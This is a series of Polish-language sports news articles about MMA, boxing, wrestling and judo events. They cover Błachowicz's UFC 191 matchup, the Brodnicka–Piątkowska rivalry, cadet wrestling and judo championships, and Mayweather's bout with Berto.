Jan Błachowicz zaprezentuje się 5 września podczas gali UFC 191 w Las Vegas. Kto będzie jego rywalem? Amerykanina zastąpi Amerykanin, tyle, że mniej znany.

W oktagonie na polskiego fightera będzie czekał Corey Anderson, który jest o siedem lat młodszy od „Johna”.  25-latek zbiera doświadczenie. Do tej pory stoczył w MMA sześć pojedynków, w których poniósł jedną porażkę. W swoim ostatnim występie podczas UFC on Fox 15 Anderson musiał uznać wyższość Giana Villante. Dla 25-latka z Rockton rywalizacja z Polakiem będzie czwartym pojedynkiem w UFC. Szczególnym atutem Andersona jest szybkość i skuteczność ciosów. Większość wygranych walk Amerykanin kończył przez nokaut po zadaniu dużej liczby mocnych i celnych uderzeń.

Czy doświadczony Błachowicz będzie w stanie zatrzymać Andersona? Polak musi to uczynić, aby uczynić krok w kierunku walki marzeń. Wygrana jest Błachowiczowi potrzebna jak rybie woda. Polak musi uwierzyć w siebie, aby wejść na szczyt. Każda kolejna wygrana będzie budowała w nim potrzebną siłę i determinację, aby odnieść sukces w UFC. Dlatego też takiej walki przegrać po prostu nie może.

KM

Twarde potyczki słowne

Walka na słowa trwa. Nie szczędzą sobie uszczypliwości, które nakręcają jeszcze bardziej i tak skomplikowaną już sytuację. Tylko ring może dać odpowiedź na pytanie, która z nich jest lepsza: Ewa Brodnicka czy Ewa Piątkowska.

Zaczynały razem, na jednej sali treningowej, jednak te czasy dawno już minęły. Dobre chwile odeszły w zapomnienie, a z każdym kolejnym dniem atmosfera robi się coraz bardziej gorąca. Piątkowska związała się z grupą KnockOut Promotions, a Brodnicka z Tymex Promotion.

Pożądane starcie

O pojedynku obu pań mówi się już od dłuższego czasu. Ciśnienie z każdym dniem rośnie, co dodatkowo potęguje emocje związane z walką. Początkowo mówiło się, że do starcia obu zawodniczek dojdzie 8 listopada podczas gali Polsat Boxing Night w Krakowie. Teraz na afiszu pojawia się data 26 września. Wydaje się, że tego starcia nie da się uniknąć.

Można tylko domniemywać, co jest powodem negatywnych uczuć narastających między Brodnicką i Piątkowską. Obie nie zdradzają powodów wzajemnej niechęci. Każda kolejna wypowiedź jest coraz bardziej gorąca i prowokuje rywalkę do równie mocnej odpowiedzi. Piątkowska w jednym z wywiadów powiedziała, że byłaby w stanie kilka razy pokonać 31-letnią bokserkę z Warszawy. Brodnicka nie pozostała dłużna i szybko zareagowała. Była kickbokserka powiedziała, że chętnie by Piątkowską dotkliwie pobiła (wersja delikatniejsza).

Pozytywna strona

Chcąc, nie chcąc obie panie robią reklamę i promują kobiecy boks. Ostre oraz wyraziste odpowiedzi rodzą coraz większe zainteresowanie pięściarstwem w żeńskim wydaniu. Do tej pory Brodnicka i Piątkowska nie poniosły porażki na zawodowym ringu. W tym roku stoczyły po dwa pojedynki, w którym potwierdziły swój kunszt. Warto zaznaczyć, że Piątkowska w swojej karierze cztery pojedynki skończyła przed czasem, zaś Brodnicka dwa.

Mają podobne doświadczenie ringowe, ale nadchodzi czas, w którym muszą się spotkać, aby wyłonić tę, która zasługuje na miano najlepszej w Polsce. W ten sposób wątpliwości raz na zawsze zostaną rozwiane, a dla jednej z nich ten pojedynek może być trampoliną w świat wielkiego boksu.

Na ostro

W jednym z ostatnich wywiadów Ewa Piątkowska powiedziała, że w żaden sposób nie ceni Brodnickiej. To kolejna odsłona wojny słownej. Brodnicka postanowiła odnieść się do słów popularnej „Tygrysicy”. – W jednym z wywiadów Piątkowska powątpiewa w moje umiejętności pięściarskie. Bardzo mnie to rozbawiło i dlatego nie mogę się doczekać, kiedy udowodnię jej w jak dużym jest błędzie. Piątkowska chyba zapomniała, że przegrywała ze mną każdy sparing i nie ma podstaw do takich wypowiedzi – mówi bokserka Tymex Promotion. I dodaje: – Nie wiem jak mam się odnieść do tego, że Piątkowska nie szanuje mnie jako osoby. Dla mnie osobiście nie ma to żadnego znaczenia. Może mnie nie lubić, nie szanować, a w ringu będzie się liczyła tylko walka i poziom naszej inteligencji pięściarskiej. Szczerze nudzi mnie na siłę podkręcanie atmosfery i jej nieprzemyślane gadanie. To jest ewidentnie z jej strony pewna forma promocji. Jestem pewna, że w naszym pojedynku wygra lepsza!

KM

Polak mistrzem Europy

Trzeba było wykazać się cierpliwością. Opłacało się! Na ostatniej prostej mistrzostw Europy kadetów w zapasach w Suboticy po złoty medal sięgnął Gerard Kurniczak w kategorii 85kg.

Dorobek polskich zapaśników na europejskim czempionacie jest zadowalający. Cztery medale są wynikiem, który pokazuje, że nasi kadeci prezentują dobrą dyspozycję. Warto podkreślić, że biało-czerwoni w kilku przypadkach byli blisko sukcesów –aż sześć naszych zapaśniczek i czterech zawodników w stylu wolnym zajęło piąte lokaty.

Klasyczne złoto

Ostatnie dni zawodów były zmaganiami zapaśników w stylu klasycznym i wyniki naszych zawodników nie powalają na kolana, ale jeden start to wszystko w zupełności rekompensuje. W kategorii 85kg bezkonkurencyjny był Gerrard Kurniczak. Dobry występ zaliczył również Patryk Kamiński w 100kg.

Dwudziestu dwóch zawodników stanęło do rywalizacji w kategorii 85kg. Kurniczak rozpoczął zawody w Suboticy od pojedynku z Danem Castrasanem z Mołdawii. Polak wykazał się spokojem i kontrolował w pełni walkę, co pozwoliło odnieść mu pewne zwycięstwo. W 1/8 finału o sile Kurniczaka przekonał się Francuz Valid Dechiyev. Markus Ragginer liczył, ze zatrzyma pochód Polaka w ćwierćfinale, jednak przeliczył się. Kurniczak po raz kolejny pokazał, że jest twardy i potrafi decydować o obliczu walki. Nasz zawodnik był już w strefie medalowej. Wystarczyło wykonać jeden krok, aby walczyć o złoto. Kurniczak w półfinale uporał się z groźnym Gruzinem Giorgim Schavadze. W finale wyższość polskiego zapaśnika musiał uznać Arvi Sovolainen.

Polska wraca z Serbii ze złotem, na które trzeba były czekać do ostatniej odsłony rywalizacji. Pierwsze miejsce Kurniczaka niejako rekompensuje w większości przypadków słabe występy naszych zawodników w stylu klasycznym. Jeszcze tylko Kamiński zmieścił się w pierwszej dziesiątce. Dwóch z naszych zawodników zajęło ostatnie miejsca w swoich kategoriach wagowych.

Dziewczyny z medalami

Zdobycz medalowa to zasługa naszych zapaśniczek, które pokazały się z dobrej strony. Mimo, że nie wywalczyły złotego medalu to w klasyfikacji drużynowej uplasowały się na drugiej lokacie. Na ten wynik złożyły się dwa srebrne medale, jeden brąz oraz aż sześć piątych miejsc.

Alicja Czyżowicz w kategorii 52kg zdobyła srebro. Lepsza od naszej zawodniczki okazała się tylko Alina Kazymowa z Rosji. Polka już w pierwszej walce stanęła przed trudnym zadaniem, gdyż rywalizowała z Aliną Akkobią, która stanęła na trzecim miejscu podium. Również na drugiej pozycji w kategorii 65kg uplasowała się Ewelina Ciunek. Polka musiała wygrać dwie walki, aby walczyć o złoto, jednak w decydującej walce uznała wyższość Koumby Larroque. Dominika Kulwicka w kategorii 56kg zaczęła start w Suboticy od wygranej, jednak przegrana w ćwierćfinale zmusiła ją do walki w repasażach. Polka znakomicie sobie poradziła, co dało jej możliwość rywalizacji o medal mistrzostw Europy. Kulwicka pokonała Shaban Amadovą i wywalczyła trzecie miejsce.

KM

Bokserskie zmagania w Bułgarii

Polscy pięściarze walczą w mistrzostwach Europy w Samokołowie. Trener Zbigniew Raubo zabrał do Bułgarii siedmiu zawodników.

Polska czeka na medal europejskiego czempionatu od 2008 roku. Wtedy w Liverpoolu po brązowy medal sięgnął Marcin Łęgowski. Starty w Moskwie, Ankarze i Mińsku lepiej przemilczeć. Czy w Bułgarii nastąpi przełamanie?

Zwycięstwo Michelusa

Początek startów w Samokołowie dla Polaków był optymistyczny. W swojej pierwszej walce triumf odniósł Dawid Michelus (60kg). Polak stanął w eliminacjach do pojedynku z Artiomsem Ramlavsem, który okazał się wymagającym rywalem. Walka była zacięta, pełna agresji i spięć. Michelus okazał się bokserem dojrzalszym, lepiej kontrolował wydarzenia w ringu, co pozwoliło mu cieszyć się z wygranej. Trzy rundy twardej rywalizacji rozstrzygnęły się na korzyść polskiego boksera. Michelus wygrał na punkty 2:1. Kolejnym rywalem Polaka będzie Joseph Cordina.

W kategorii wagowej +91kg do rywalizacji stanął Paweł Wierzbicki. Nadzieje związane z występem boksera były, ale nie ziściły się. Dlaczego? Vianello Guido postawił przed Polakiem wysokie wymagania i musiał nasz zawodnik gonić. Wierzbicki zaczął zbyt pasywnie, co później zemściło się. Guido od początku przejął inicjatywę i kontrolował przebieg pojedynku. Wierzbicki nie był bez szans w starciu z Włochem. Walka była ciekawa, momentami efektowna, jednak Polakowi nie udało się odnieść wygranej. Sędziowie nie mieli złudzeń i jednoznacznie wskazali na zwycięstwo Guido.

Kolejnym z naszych reprezentantów, który zaprezentował się na bułgarskim ringu był Daniel Adamiec. Pięściarz rywalizujący w kategorii 64kg zmierzył się w walce eliminacyjnej Kastriotem Sopą. Polak dobrze prezentował się w dystansie. Jego ciosy dochodziły do celu. Adamiec imponował lewym prostym oraz uderzeniami na korpus. Z czasem do głosu doszedł Niemiec, który skrócił dystans. Sopa swoją aktywnością zwiększał swój dorobek punktowy. Walkę należy ocenić jako wyrównaną, w której obaj pięściarze zaprezentowali wysoki potencjał pięściarski. Sędziowie mieli nie lada zagłostkę, jednak niejednogłośnie wskazali na Sopę.

Agresywny Fin

Trudnym rywalem okazał Dmytro Tretyak, z którym w kategorii 75kg zmierzył się Tomasz Jabłoński. Fin walczył w sposób trudno i nie szczędził Polakowi nieczystych zagrań. Już w pierwszej rundzie sędzia zwrócił mu uwagę dwa razy. Tretyak dopuścił się ataku głową oraz uderzenia łokciem. Z czasem Jabłoński przejął inicjatywę i nadawał tempo walki. Polak dyktował warunki, jednak w trzeciej rundzie Fin ponownie zaczął stosować nieczyste zagrania. Trzecie upomnienie sędziego spowodowało dyskwalifikację. Jabłoński wygrał walkę i w kolejnym pojedynku zmierzy się z Leonem Chartoi.

Szczęście dopisało Dawidowi Jagodzińskiemu w kategorii 49kg. Okazuje się, że polski pięściarz pierwszy pojedynek stoczy dopiero w środę. Jeśli wygra będzie się cieszył się już z medalu.

KM

Manny chce rewanżu

Floyd Mayweather we wrześniu w Las Vegas zmierzy się z Andre Berto. Mówi się, że to będzie jego ostatni pojedynek w karierze, jednak o rewanżowym pojedynku z Amerykaninem myśli Manny Pacquiao.

W maju doszło do walki stulecia, w której zmierzyli się Amerykanin i Filipińczyk. Na punkty zwyciężył Mayweather, ale Pacquaio tłumaczył, że miał kłopoty z ramieniem. Teraz chce raz jeszcze spotkać się z „Moneyem”.

Czy to możliwe?

Pojedynek ten planowany był latami i w końcu udało się go zorganizować. Wielu podkreślało, że do tej walki doszło za późno, gdyż obaj mimo, że są czołowymi bokserami to szczyt formy i najlepsze lata mają za sobą. Mimo to Mayweather nadal dominuje w wadze półśredniej.”Money” nadal nie znalazł pogromcy na zawodowym ringu.

Manny Pacquiao ponownie chciałby się spotkać z Amerykaninem. Filipińczyk skakał przez kategorie wagowe i we wszystkich imponował. Przede wszystkim szybkością i aktywnością, ale w maju Mayweather skutecznie go wypunktował. Pacquiao liczy na rewanż. – W ringu Mayweather uciekał przede mną. Zasłużyłem na zwycięstwo w tym pojedynku. Obecnie koncentruję się na innych zajęciach, ale myślę o tym, aby ponownie spotkać się z Mayweatherem. Będę mentalnie i fizycznie gotowy do tego pojedynku w przyszłym roku. Moje kolejne walki będą lepsze niż ta, którą odbyłem z Mayweatherem – mówi Filipińczyk.

Co na to Mayweather? Jego stanowisko w tej kwestii jest jakby jednoznaczne. Wydaje się, że „Money” nie bierze pod uwagę walki rewanżowej z Pacquiao. Dlaczego? Mayweather: – Uważam, że największe nazwiska w tym sporcie to Canelo, Pacquiao, Cotto. Skoro wygrałem walki z nimi, nie mam rywali, z którymi mógłby teraz rywalizować.

Amerykanin przygotowuje się więc do wrześniowej walki, która zarazem może okazać się jego ostatnim występem w karierze. Do tej pory jest niepokonany i z ringu chce zejść jako zwycięzca.

Plan na Berto

Z pewnością Andre Berto nie jest tak medialny jak Manny Pacquiao. To dla Mayweathera również wielkie wyzwanie, aby sprzedać ten pojedynek. Amerykanin musi zrobić wszystko, aby jak najlepiej wypromować swoją wrześniową walkę w Las Vegas. Ostatnie występy Mayweathera nie obfitowały w zwroty akcji i efektowne nokauty, więc otoczka wokół pojedynku jest niezwykle ważna.

Jak przewiduje to, co będzie działo się w ringu Mayweather? – W walce z Berto będą nokdauny i dużo krwi. Skupiam się po raz ostatni na walce, którą stoczę 12 września. Następnego dnia w domu będę oglądał mecz, a potem będę spędzał każdego dnia czas z moimi dziećmi. Berto to twardy rywal. Będzie padał i powstawał z ringu. Na pewno nie odpuści i podejmie walkę – opisuje Mayweather.

Widać, że Floyd ma już gotowy plan. Czy po drodze coś się zmieni?

KM

Drugie srebro

Kolejny medal dla Polski na zapaśniczych mistrzostwach Europy kadetów w Suboticy. Srebro wywalczyła Alicja Czyżowicz.

Polskie zapaśniczki wywalczyły trzy medale podczas serbskiego czempionatu. Do końca rywalizacji pozostały jeszcze dwa dni. Na start czekają jeszcze zapaśnicy w stylu klasycznym. Wystąpi dziesięciu reprezentantów Polski.

Bez złota

Nadzieja była i to podwójna, jednak nie udało się. Reprezentacja Polski kadetów w Suboticy nie wywalczyła złotego medalu, ale jeszcze wszystko w rękach naszych zawodników w stylu klasycznym. Dwa dni w rywalizacji pań dostarczyły polskim kibicom wiele powodów do radości.

Warto zwrócić uwagę, że Polki plasowały się w czołówce. Trzy z dziesięciu naszych zawodniczek sięgnęły po medale. Aż sześć zapaśniczek zajęło piąte miejsca, czyli były o krok od sukcesu, jednak do podium trochę zabrakło. Mimo to występ naszych zawodniczek należy ocenić pozytywnie, gdyż daje nadzieję na przyszłość i pokazuje, że reprezentacja kadetek ma potencjał, który z czasem powinien zostać przekłuty na występy seniorskie.

Jako ostatnia po medal sięgnęła Alicja Czyżowicz w kategorii 52kg. W rywalizacji wystąpiło osiemnaście zawodniczek, a Polka w zawodach czuła się jak ryba w wodzie. Czyżowicz bez problemu pokonywała kolejne szczeble w Suboticy. Ciężka i wyrównana była walka w 1/8 finału, gdzie Polka musiała rywalizować z Ukrainką Aliną Akobbią, jednak dzięki uporowi i ambicji odniosła sukces. W kolejnym pojedynku potwierdziła dobrą dyspozycję, co zaowocowało pokonaniem Volhy Auchynik z Białorusi. Półfinałową rywalką Czyżowicz była Maylisse Hachemi, jednak Francuzka nie potrafiła znaleźć sposobu na naszą zawodniczkę. Dopiero w finale Polka została zatrzymana. Alina Kazymowa z Rosji sięgnęła po zloty medal. Na trzecim stopniu podium uplasowała się Akobbia, czyli pierwsza rywalka srebrnej medalistki mistrzostw Europy.

Dwa pozostałe medale dla Polski to zasługa Eweliny Ciunek i Dominiki Kulwickiej, które walczyły odpowiednio w kategoriach 65kg i 56kg. Ciunek stanęła na drugim stopniu podium. Polce do sukcesu wystarczyły zaledwie dwie wygrane, gdyż w jej kategorii wystąpiło trzynaście zawodniczek. Ciunek w finale nie potrafiła znaleźć sposobu na Francuzkę Koumbę Larroque. Z kolei Kulwicka sięgnęła po brązowy medal. Mistrzostwa rozpoczęła od wygranej, jednak w ćwierćfinale polegała z Rosjanką Iriną Avanasvą i musiała rywalizować w repasażach. Tam zaprezentowała się z dobrej strony, co dało jej możliwość walki o brąz. Polaka uporała się z Shabnam Amadovą i stanęła na trzecim stopniu podium.

Zabrakło

Niewiele, ale jednak. Piąte miejsce w tych przypadkach jest marnym pocieszeniem. Renata Nieściur w 49kg dobrze zaczęła, ale w ćwierćfinale znalazła pogromczynię w osobie Szimonnety Szeker. Przez repasaże przeszła zwycięsko. Pojedynek o brąz przegrała z Rosjanką Leilą Karymovą.

Podobną drogę przeszła Kinga Kapica w kategorii 43kg. W 38kg rywalizowało zaledwie dziesięć zawodniczek. Żaneta Cieślak wygrała jedną walkę i już była w półfinale, ale poległa w starciu o finał,  a następnie o brąz. Wiktoria Chołuj w 60kg bez problemu dotarła do półfinału. Polka nie miała szczęścia w decydujących momentach i wylądowała na piątym miejscu. Poza podium wylądowały również Natalia Stanek (40kg) i Magdalena Majos (46kg).

KM

Historyczny moment

Szczególna chwila dla polskiego judo, która zapisze się na kartach historii. Na mistrzostwach świata kadetów w Sarajewie w kategorii 57kg po brązowy medal sięgnęła Anna Dąbrowska.

Mistrzostwa świata kadetów rozgrywane są od 2009 roku. Polskie judo odniosło sukcesem i dzięki Dąbrowskiej otwiera się nowa karta w historii tej dyscypliny. Czy w Sarajewie Polacy wywalczą kolejny medal?

Dąbrowska po raz drugi

Przełom lipca i sierpnia należy do Anny Dąbrowskiej. Polka jest w doskonałej dyspozycji, którą potwierdza na każdym kroku. Na Igrzyskach Młodzieży w Tbilisi Dąbrowska sięgnęła po srebrny medal. Polka znakomicie radziła sobie w Gruzji, jednak w finale musiała uznać wyższość zawodniczki gospodarzy –Eteri Liparteliani. To był sygnał, że startująca w kategorii 57kg judoczka znajduje się w dobrej formie. Weryfikacją jej dyspozycji miał się okazać start w Sarajewie.

Podczas mistrzostw świata kadetów Polka udowodniła, że sukces w Tbilisi nie był dziełem przypadku. Reprezentująca barwy Juvenii Wrocław zawodniczka od pierwszego pojedynku w Sarajewie imponowała szybkością, zdecydowaniem oraz precyzją. Dąbrowska dotarła do półfinału, w którym spotkała się z Ryoko Takedą. Wiadomo, że pojedynki z japońskimi judokami w większości przypadków to wyższa szkoła jazdy. Trzeba być skupionym, skoncentrowanym i nie pozwolić sobie na jakikolwiek błąd. Dąbrowskiej nie udało się wejść do finału. Takeda pokonała Polkę przez ippon. Japonka ostatecznie wygrała całą rywalizację w kategorii 57kg. Dąbrowskiej pozostała walka o brązowy medal.  W decydującym starciu rywalką Polki była Vitoria Andrade. Brazylijka dominowała i wydawało się, że to ona zdobędzie medal, jednak trzeba walczyć do końca. Dąbrowska doskonale wyczuła moment i zaatakowała Andrade. Polka wygrała przez ippon, co dało jej trzecie miejsce na podium.

W kategorii 57kg z dobrej strony pokazała się Angelika Szymańska. Reprezentująca barwy Olimpijczyka Włocławek judoczka była o krok od podium. Szymańska dotarła do półfinału, w którym spotkała się z Emilią Kanervą. Reprezentantka Finlandii okazała się lepsza i wygrała przez yuko. Dla Polki pozostawała jeszcze nadzieja – pojedynek o brąz. Szczęście było o krok, ale nie udało się. Szymańska przegrała przez waza-ari z Hannah Deliu z Niemiec.

Szybko odpadli

Rywalizacja w Sarajewie trwa i w zawodach wystąpili również inni reprezentanci Polski, jednak bez powodzenia. Barbara Kulik w kategorii 63kg wygrała jedną walkę, co dało jej awans do 1/16 finału. Na tym etapie Polka zakończyła rywalizację w zawodach.

Dobre starty w tym sezonie notowali Vanessa Machnicka, Maciej Krogulski oraz Eryk Ryciak. W Tbilisi startujący w kategorii 90kg judoka zajął piątą lokatę, jednak w Sarajewie nie powtórzył tak dobrego wyniku. Ryciak odpadł w 1/32 finału. Po jednej walce stoczyli również Machnicka i Krogulski, dla których zawody również się zakończyły.

KM

Są medale

W Suboticy trwają mistrzostwa Europy kadetów w zapasach. Na koncie reprezentacji Polski są dwa medale.

Czy uda się poprawić ten dorobek? W sobotę i niedzielę będą rywalizowali zapaśnicy, więc wszystko jest możliwe. Jak do tej pory za zdobycze medalowe odpowiadają tylko i wyłącznie panie.

Pechowe piątki

Nie chodzi tu bynajmniej o dzień tygodnia. Dla wielu piątek jest dniem radosnym, gdyż wielkimi krokami zbliża się weekend. W zapasach jest nieco inaczej. Uściślając – chodzi o piąte miejsce, które z jednej strony jest wynikiem dobrym, ale z drugiej do wielkiego sukcesu trochę zabrakło.

Na początek rywalizacji w Suboticy zaprezentowali się panowie w stylu wolnym. W kategorii 58kg startowało dwudziestu czterech zawodników, w tym Krystian Piskorz, który rywalizację w zawodach rozpoczął od porażki, jednak dobry występ w repasażach dawał nadzieję na medal. Geryia Gadisa był rywalem Polaka w decydującym starciu. Reprezentant Azerbejdżanu nie pozostawił Piskorzowi złudzeń i odniósł pewne zwycięstwo. Polak został sklasyfikowany na piątej pozycji. Taki sam rezultat osiągnął Krystian Brzeziński w kategorii 42kg. W ćwierćfinale polski zapaśnik przegrał z Karą Doganem z Turcji, który wywalczył srebro. Brzeziński mógł również stanąć na podium, ale jego marzenia o medalu pogrzebał Asgar Mammadaliyev.

Jak burza kolejne szczeble pokonywał Wiktor Lejczak w kategorii 63kg, gdzie rywalizowało dwudziestu trzech zawodników. Polak zatrzymał się dopiero w półfinale, gdzie musiał uznać wyższość Dzhemala Ali. W finale pocieszenia Stefan Tonu rozbił Lejczaka. W kategorii 46kg Kordian Skrzyński rozpoczął turniej od wygranej z Dzmitrym Herasimenką, jednak w ćwierćfinale znalazł pogromcę w osobie Gruzina Giorgiego Khachidze. Polak poradził sobie w repasażach i wrócił do walki o medale, ale Georgios Pilidis okazał się lepszy i to Grekowi przypadło trzecie miejsce.

Dziewczyny na medal

Na początek warto zaznaczyć, że w rywalizacji pań startuje mniej zawodniczek niż wśród panów. Z jednej strony łatwiej o medal, ale z drugiej na każdym etapie trzeba być w pełni gotowym do rywalizacji, żadna chwila rozprężenia nie wchodzi w grę. Dwóm naszym zawodniczkom udało się stanąć na podium.

W kategorii 63kg wystąpiła Ewelina Ciunek, która musiała być lepsza od dwunastu rywalek, aby zdobyć złoto. Polka uznała wyższość Koumby Larroque z Francji. Ciunek wygrała dwie walki, które dały jej udział w finale, jednak jej rywalka była silniejsza i lepiej dysponowana. W większej grupie rywalizować musiała Dominika Kulwicka. Siedemnaście zawodniczek wystartowało w kategorii 56kg. Polka rozpoczęła zawody od zwycięstwo w pojedynku z Florine Schedlrf, ale w kolejnej walce Irina Afanasva okazała się lepsza. Kulwicka wyszła obroną ręką z repasaży i mogła rywalizować o brązowy medal. W decydującym pojedynku Polka uporała się z reprezentantką Azerbejdżanu Shabnam Amadovą.

Na piątych miejscach rywalizację zakończyły Renata Nieściur (49kg), Kinga Kapica (43kg) i Martyna Cieślak (38kg). O złoto w kategorii 52kg powalczy Alicja Czyżowicz.

KM

Borowska i Tałach do drużyny

Mistrzostwa świata w judo w Astanie zbliżają się wielkimi krokami. Rywalizacja zaplanowana jest na 24-30 sierpnia.

Skład naszej kadry jest już znany. Do Kazachstanu pojedzie siedemnastoosobowa reprezentacja Polski. Indywidualnie wystartuje piętnastu zawodników.

Siła w drużynie

Anna Borowska (57kg) i Karolina Tałach (63kg) zostały dodatkowo zgłoszone do rywalizacji drużynowej, która rozegra się 30 sierpnia. Nasza reprezentacja daje nadzieję na medal. W poprzednim sezonie kobieca drużyna pokazała się z dobrej strony i imponowała zgraniem pod okiem trener Anety Szczepańskiej. Na ubiegłorocznych mistrzostwach świata w Czelabińsku żeńska kadra była o krok od medalu. W pojedynku o brązowy medal Polki uległy reprezentacji Niemiec. Czy tym razem okażą się skuteczne i sięgną po medal?

Start drużynowy będzie zarazem testem możliwości naszej reprezentacji. Nie ulega wątpliwości, że jest to niezwykle ważny występ. Trzeba zbierać cenne punkty, bo stawka jest wysoka. Chodzi o Igrzyska Olimpijskie w Tokio, które odbędą się w 2020 roku. Tam judo w odsłonie drużynowej zaprezentuje się po raz pierwszy. Dlatego też zawczasu trzeba „zakasać rękawy i brać się do roboty”, aby pojechać do Tokio. Nasza reprezentacja pokazała, że ma potencjał i stać ją na dobre rezultaty.

Na ostatniej prostej

Przygotowania trwają. Reprezentacja Polski trenuje, aby w Astanie zanotować jak najlepszy wynik. Obecnie reprezentacja przebywa w Słowenii, gdzie szlifuje formę. Kadrowiczów czekają jeszcze zgrupowania w Cetniewie i Zakopanem.

Rok temu doczekaliśmy się w końcu medalu na mistrzostwach świata. W Czelabińsku na najniższym stopniu podium stanęła Katarzyna Kłys w kategorii 70kg. Również i w tym roku judoczka Polonii Rybnik jest nadzieją na zdobycz medalową. Kto jeszcze? Potencjał na medal z pewnością ma Daria Pogorzelec (78kg), która w poprzednim sezonie miała przebłyski wysokiej formy, a w tym stopniowo rozkręca się. Czy w Kazachstanie jej dyspozycja eksploduje? Początek sezonu był dobry w wykonaniu Agaty Perenc. Wśród panów do faworytów zaliczany jest Maciej Sarnacki w kategorii +100kg. W tym roku zawodnik Gwardii Olsztyn zwyciężył w Pucharze Świata na warszawskim Torwarze. W dobrej dyspozycji jest także Damian Szwarnowiecki (73kg).

Nasi judocy w tym roku nie wywalczyli żadnego medalu podczas Igrzysk Europejskich w Baku, które zarazem były mistrzostwami Europy. Na rok przed startem Igrzysk Olimpijskich w Rio de Janeiro odbywa się kolejna ważna impreza, która pozwoli ocenić potencjał naszej reprezentacji. Celem jest medal oraz miejsca punktowane. W tym sezonie w turniejach Pucharu Świata i Grand Slam Polacy zajmowali lokaty w czołówce. Po starcie w Baku można kręcić nosem. Czy występ w Astanie da radość polskim fanom judo?

KM

Berto szykuje się na Mayweathera

Długo trwały spekulacje na temat tego, kto będzie kolejnym rywalem Floyda Mayweathera Jr. 12 września w Las Vegas popularny „Money” zmierzy się z Andre Berto.

Niewykluczone, że będzie to ostatni pojedynek w karierze 38-letniego Amerykanina. Mayweather chce odnieść czterdzieste dziewiąte zwycięstwo w swojej karierze i utrzymać status niepokonanego.

Berto straszy

31-letni Andre Berto w marcu uporał się z Josesito Lopez, którego pokonał przez nokaut w szóstej rundzie. Dzięki temu zwycięstwu zyskał tymczasowy tytuł mistrza świata WBA w wadze półśredniej. Charakteryzując Amerykanina należy zwrócić uwagę na jego siłę i szybkość, które stanowią jego główne atuty.

Berto jest głodny sukcesów. Dostaje od losu szansę, aby wejść na szczyt. 31-latek już wcześniej mógł dostąpić możliwości starcia z Maywaetherem, ale wykładał się w kluczowych momentach. Berto nie potrafił poradzić sobie z Victorem Ortizem we wrześniu 2011 roku, kiedy to poległ już w czwartej rundzie. W listopadzie 2012 roku na punkty uległ w pojedynku z Robertem Guerrero. Obaj następnie stanęli naprzeciw Mayweathera. „Money” nie miał większych problemów, aby uporać się z Ortizem i Guerrero. W 2013 roku Berto poniósł kolejną porażkę – przegrał z Jesusem Soto Karassem. Amerykanin ma za sobą dwa zwycięstwa, który poprzedził kryzysem. Jego doświadczenia pokazują, że ma trudność w walkach, które mają wyższą stawkę.

Do rywalizacji z Mayweatherem podchodzi w bojowym sposób. Berto doskonale wie, że to jego szansa. – Macie świadomość, że zrobię wszystko, aby ten pojedynek był jak najbardziej emocjonujący. Ostatnim rywalem Floyda, który imponował szybkością był Zab Judah. Wielu pięściarzom nie powiodło się w rywalizacji z Mayweatherem. Posiadam ważne elementy, szybkość i wybuchowość, których inni nie mieli. Wniosę do tego pojedynku element, którego wcześniej nikt nie dał.  Ludzie mogą we mnie wątpić, ale nie powinni przegapić tej walki – mówi Amerykanin.

Co na to Floyd?

Mayweather już niejedno widział. Amerykanin ma bogate doświadczenie i wnosi do ringu mistrzowskie pasy WBC i WBA wagi półśredniej. Mayweather jest królem boksu, to on rozdaje karty i nakręca widowisko. Czy zrobi to po raz ostatni? Szereg głosów potwierdza, że 12 września w Las Vegas „Money” zaprezentuje się w ringu po raz ostatni.

Mayweather w tym roku był bohaterem walki stulecia. Zmierzył się z Manny Pacquiao i wygrał na punkty. Z finansowego punktu widzenia pojedynek był strzałem w dziesiątkę. Wcześniej „Money” dwukrotnie odprawił Marcosa Maidanę i zastopował Saula Alvareza. Wydaje się, że Berto jest rywalem słabszym niż poprzedni oponenci mistrza wagi półśredniej. Z pewnością Mayweather odpowiednio nakręci widowisko, aby wzbudzić zainteresowanie i sprzedać jak najwięcej pay per view. Czy faktycznie „Money” zaprezentuje się ostatni raz?

KM

Zapaśniczy atak na Serbię

W Suboticy trwają mistrzostwa Europy kadetów w zapasach. Rywalizacja rozpoczęła się we wtorek i potrwa do niedzieli. Pięciu naszych zapaśników już stoczyło swoje walki.

Młodzi zapaśnicy z całej Europy mają okazję do weryfikacji swoich możliwości. Rywalizacja odbywa się w stylu klasycznym, wolnym oraz zapasach kobiet w dziesięciu kategoriach wagowych.

Co, gdzie, kiedy?

W pierwszych dwóch dniach zaprezentują się zawodnicy w stylu wolnym. Wtorek należy do panów, którzy rywalizują w kategoriach: 42, 50, 58, 65 i 85kg. Dzień później o medale powalczą zapaśnicy w pozostałych kategoriach: 46, 54, 63, 76 i 100kg. Przez kolejne dwa dni obserwatorzy będą emocjonować się występami pań. W czwartek zaprezentują się zapaśniczki w kategoriach: 38, 43,49, 56, 65kg, a dzień później w: 40, 46, 52, 60, 70kg. Sobota i niedziela należeć będzie do klasyków. Najpierw na matę wyjdą panowie, którzy walczą w kategoriach: 42, 50, 58, 69, 85kg. W niedzielę do rywalizacji staną zapaśnicy w 46, 54, 63, 76 i 100kg.

Skład reprezentacji Polski w Suboticy liczy trzydzieści nazwisk. Każdy medal będzie sukcesem naszych zawodników. W gronie faworytów do triumfów są zapaśnicy z Gruzji, Azerbejdżanu oraz Rosji.

Pierwsze koty za płoty

Część naszych reprezentantów swoje pierwsze walki ma już za sobą. Dla kilku wejście na matę okazało się jednorazowe i w wyniku porażki muszą zapomnieć o dalszej rywalizacji podczas czempionatu w Serbii.

W kategorii 42kg rywalizuje piętnastu zapaśników, w tym Krystian Brzeziński. Polski zapaśnik w kwalifikacjach trafił na Martina Stojanova i znalazł sposób na pokonanie swojego przeciwnika. Brzeziński wykazał się skutecznością oraz precyzją, co pozwoliło mu wywalczyć awans do ćwierćfinału. Polak stanął przed trudnym wyzwaniem. Rywalem Brzezińskiego był Kara Dogan z Turcji, który nie pozostawił naszemu zapaśnikowi żadnych złudzeń. Zawodnik znad Morza Czarnego całkowicie zdominował Polaka, czym pozbawił go szans na półfinał. Z kolei Dogan idzie jak burza i uzyskał awans do finału. W półfinałowej batalii uporał się z reprezentantem Azerbejdżanu Asgarem Mammadaliyevem.

